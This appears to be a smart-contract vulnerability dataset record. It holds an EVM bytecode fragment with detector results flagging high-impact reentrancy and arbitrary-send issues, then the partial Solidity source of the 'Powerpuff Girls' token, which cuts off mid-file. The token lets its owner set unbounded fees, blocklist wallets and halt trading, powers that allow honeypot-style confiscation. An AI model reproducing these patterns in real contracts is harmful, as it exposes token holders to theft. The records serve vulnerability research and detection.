2060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fc565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321c565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329c565b60405180910390fd5b60066009819055506004600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061315c565b60405180910390fd5b602d4261194491906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae91906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906131bc565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c548461221490919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228f90919063ffffffff16565b826122ed90919063ffffffff16565b9050611bab81612337565b505b6000811115611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d47848484846123ee565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c91906130da565b60405180910390fd5b5060008385611da49190613482565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e016002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d6002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea9061311c565b60405180910390fd5b6000611efd61241b565b9050611f1281846122ed90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fe4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208657600080fd5b505afa15801561209a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120be9190612b44565b816001815181106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c39594939291906132d7565b600060405180830381600087803b1580156121dd57600080fd5b505af11580156121f1573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122275760009050612289565b600082846122359190613428565b905082848261224491906133f7565b14612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b906131dc565b60405180910390fd5b809150505b92915050565b600080828461229e91906133a1565b9050838110156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da9061317c565b60405180910390fd5b8091505092915050565b600061232f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612446565b905092915050565b6000600a9050600a82101561234f57600a9050612366565b60288211156123615760289050612365565b8190505b5b600061237c6002836124a990919063ffffffff16565b1461239057808061238c90613550565b9150505b6123b7600a6123a960068461221490919063ffffffff16565b6122ed90919063ffffffff16565b6009819055506123e4600a6123d660048461221490919063ffffffff16565b6122ed90919063ffffffff16565b600a819055505050565b806123fc576123fb6124f3565b5b612407848484612536565b8061241557612414612701565b5b50505050565b6000806000612428612715565b9150915061243f81836122ed90919063ffffffff16565b9250505090565b6000808311829061248d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248491906130da565b60405180910390fd5b506000838561249c91906133f7565b9050809150509392505050565b60006124eb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612777565b905092915050565b600060095414801561250757506000600a54145b1561251157612534565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612548876127d5565b9550955095509550955095506125a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268781612887565b6126918483612944565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ee91906132bc565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274b683635c9adc5dea000006007546122ed90919063ffffffff16565b82101561276a57600754683635c9adc5dea00000935093505050612773565b81819350935050505b9091565b60008083141582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b691906130da565b60405180910390fd5b5082846127cc9190613599565b90509392505050565b60008060008060008060008060006127f28a600954600a5461297e565b925092509250600061280261241b565b905060008060006128158e878787612a14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b600061289161241b565b905060006128a8828461221490919063ffffffff16565b90506128fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129598260075461283d90919063ffffffff16565b6007819055506129748160085461228f90919063ffffffff16565b6008819055505050565b6000806000806129aa606461299c888a61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129d460646129c6888b61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129fd826129ef858c61283d90919063ffffffff16565b61283d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2d858961221490919063ffffffff16565b90506000612a44868961221490919063ffffffff16565b90506000612a5b878961221490919063ffffffff16565b90506000612a8482612a76858761283d90919063ffffffff16565b61283d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aac816139cd565b92915050565b600081519050612ac1816139cd565b92915050565b600081359050612ad6816139e4565b92915050565b600081519050612aeb816139e4565b92915050565b600081359050612b00816139fb565b92915050565b600081519050612b15816139fb565b92915050565b600060208284031215612b2d57600080fd5b6000612b3b84828501612a9d565b91505092915050565b600060208284031215612b5657600080fd5b6000612b6484828501612ab2565b91505092915050565b60008060408385031215612b8057600080fd5b6000612b8e85828601612a9d565b9250506020612b9f85828601612a9d565b9150509250929050565b600080600060608486031215612bbe57600080fd5b6000612bcc86828701612a9d565b9350506020612bdd86828701612a9d565b9250506040612bee86828701612af1565b9150509250925092565b60008060408385031215612c0b57600080fd5b6000612c1985828601612a9d565b9250506020612c2a85828601612af1565b9150509250929050565b600060208284031215612c4657600080fd5b6000612c5484828501612ac7565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d84828501612adc565b91505092915050565b600060208284031215612c9857600080fd5b6000612ca684828501612af1565b91505092915050565b600080600060608486031215612cc457600080fd5b6000612cd286828701612b06565b9350506020612ce386828701612b06565b9250506040612cf486828701612b06565b9150509250925092565b6000612d0a8383612d16565b60208301905092915050565b612d1f816134b6565b82525050565b612d2e816134b6565b82525050565b6000612d3f8261335c565b612d49818561337f565b9350612d548361334c565b8060005b83811015612d85578151612d6c8882612cfe565b9750612d7783613372565b925050600181019050612d58565b5085935050505092915050565b612d9b816134c8565b82525050565b612daa8161350b565b82525050565b6000612dbb82613367565b612dc58185613390565b9350612dd581856020860161351d565b612dde81613628565b840191505092915050565b6000612df6602383613390565b9150612e0182613639565b604082019050919050565b6000612e19602a83613390565b9150612e2482613688565b604082019050919050565b6000612e3c602283613390565b9150612e47826136d7565b604082019050919050565b6000612e5f602283613390565b9150612e6a82613726565b604082019050919050565b6000612e82601b83613390565b9150612e8d82613775565b602082019050919050565b6000612ea5601583613390565b9150612eb08261379e565b602082019050919050565b6000612ec8602383613390565b9150612ed3826137c7565b604082019050919050565b6000612eeb602183613390565b9150612ef682613816565b604082019050919050565b6000612f0e602083613390565b9150612f1982613865565b602082019050919050565b6000612f31602983613390565b9150612f3c8261388e565b604082019050919050565b6000612f54602583613390565b9150612f5f826138dd565b604082019050919050565b6000612f77602483613390565b9150612f828261392c565b604082019050919050565b6000612f9a601783613390565b9150612fa58261397b565b602082019050919050565b6000612fbd601883613390565b9150612fc8826139a4565b602082019050919050565b612fdc816134f4565b82525050565b612feb816134fe565b82525050565b60006020820190506130066000830184612d25565b92915050565b60006040820190506130216000830185612d25565b61302e6020830184612d25565b9392505050565b600060408201905061304a6000830185612d25565b6130576020830184612fd3565b9392505050565b600060c0820190506130736000830189612d25565b6130806020830188612fd3565b61308d6040830187612da1565b61309a6060830186612da1565b6130a76080830185612d25565b6130b460a0830184612fd3565b979650505050505050565b60006020820190506130d46000830184612d92565b92915050565b600060208201905081810360008301526130f48184612db0565b905092915050565b6000602082019050818103600083015261311581612de9565b9050919050565b6000602082019050818103600083015261313581612e0c565b9050919050565b6000602082019050818103600083015261315581612e2f565b9050919050565b6000602082019050818103600083015261317581612e52565b9050919050565b6000602082019050818103600083015261319581612e75565b9050919050565b600060208201905081810360008301526131b581612e98565b9050919050565b600060208201905081810360008301526131d581612ebb565b9050919050565b600060208201905081810360008301526131f581612ede565b9050919050565b6000602082019050818103600083015261321581612f01565b9050919050565b6000602082019050818103600083015261323581612f24565b9050919050565b6000602082019050818103600083015261325581612f47565b9050919050565b6000602082019050818103600083015261327581612f6a565b9050919050565b6000602082019050818103600083015261329581612f8d565b9050919050565b600060208201905081810360008301526132b581612fb0565b9050919050565b60006020820190506132d16000830184612fd3565b92915050565b600060a0820190506132ec6000830188612fd3565b6132f96020830187612da1565b818103604083015261330b8186612d34565b905061331a6060830185612d25565b6133276080830184612fd3565b9695505050505050565b60006020820190506133466000830184612fe2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ac826134f4565b91506133b7836134f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ec576133eb6135ca565b5b828201905092915050565b6000613402826134f4565b915061340d836134f4565b92508261341d5761341c6135f9565b5b828204905092915050565b6000613433826134f4565b915061343e836134f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613477576134766135ca565b5b828202905092915050565b600061348d826134f4565b9150613498836134f4565b9250828210156134ab576134aa6135ca565b5b828203905092915050565b60006134c1826134d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613516826134f4565b9050919050565b60005b8381101561353b578082015181840152602081019050613520565b8381111561354a576000848401525b50505050565b600061355b826134f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358e5761358d6135ca565b5b600182019050919050565b60006135a4826134f4565b91506135af836134f4565b9250826135bf576135be6135f9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d6816134b6565b81146139e157600080fd5b50565b6139ed816134c8565b81146139f857600080fd5b50565b613a04816134f4565b8114613a0f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220669c9f02731d6e04d6063571683b7bf2b0d01c2968cc770ac4888d90ee7852d364736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 1,630 |
0x100f4f5a259194271430b1ee6a99469220d3a8ce
|
/**
*Submitted for verification at Etherscan.io on 2022-04-14
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Powerpuffgirls is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Powerpuff Girls";
string private constant _symbol = "PPG";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 15;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xAEFf42257952eD6938ED73c5699D4566F491A5EC);
address payable private _marketingAddress = payable(0xC9c24A1eB4328538f0a424b620E3E3342Aa01e38);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = true;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000 * 10**9;
uint256 public _maxWalletSize = 200000000 * 10**9;
uint256 public _swapTokensAtAmount = 100000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
